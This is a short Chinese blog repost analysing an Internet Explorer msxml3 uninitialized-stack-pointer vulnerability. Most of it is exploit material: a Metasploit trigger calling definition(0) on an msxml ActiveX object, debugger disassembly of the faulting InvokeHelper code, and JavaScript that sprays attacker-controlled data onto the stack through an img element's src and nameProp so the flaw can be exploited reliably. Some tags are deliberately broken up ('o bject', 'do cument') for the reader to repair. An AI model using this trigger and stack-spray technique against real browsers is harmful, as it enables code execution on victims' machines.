原文地址http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html
MSF的触发代码如下:
< o bject classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="xx">
script
↑自行加上<>
do cument.getElementById("xx").object.definition(0);
script
↑自行加上<>
触发时的代码如下:
0:015> u 5dd8d7c9 L50
msxml3!_dispatchImpl::InvokeHelper+0x93:
5dd8d7c9 8b45ec mov eax,dword ptr
5dd8d7cc 3bc3 cmp eax,ebx
5dd8d7ce 8bf0 mov esi,eax
5dd8d7d0 7426 je msxml3!_dispatchImpl::InvokeHelper+0xc2 (5dd8d7f8)
5dd8d7d2 ff7528 push dword ptr
5dd8d7d5 8b08 mov ecx,dword ptr
5dd8d7d7 ff7524 push dword ptr
5dd8d7da ff7520 push dword ptr
5dd8d7dd 57 push edi
5dd8d7de 6a03 push 3
5dd8d7e0 ff7514 push dword ptr
5dd8d7e3 6870a8d85d push offset msxml3!GUID_NULL (5dd8a870)
5dd8d7e8 53 push ebx
5dd8d7e9 50 push eax
5dd8d7ea ff5118 call dword ptr
其中 5dd8d7c9 8b45ec mov eax,dword ptr [ebp-14h] 中 eax的值来自于栈上,栈上的值未经初始化,被直接用做对象指针后就会出现问题。要稳定利用该漏洞,就需要对eax的值进行控制,只要预先在栈上排布我们要的数据就可以,比如 unescape("%u1111%u1111")。以下代码可以实现该功能:
var src = unescape("%u1111%u1111");
while (src.length < 0x1002) src += src;
src = "\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
执行完 pic.nameProp 后,就会在栈上留下0x2000左右大小的可控数据。
[
Comments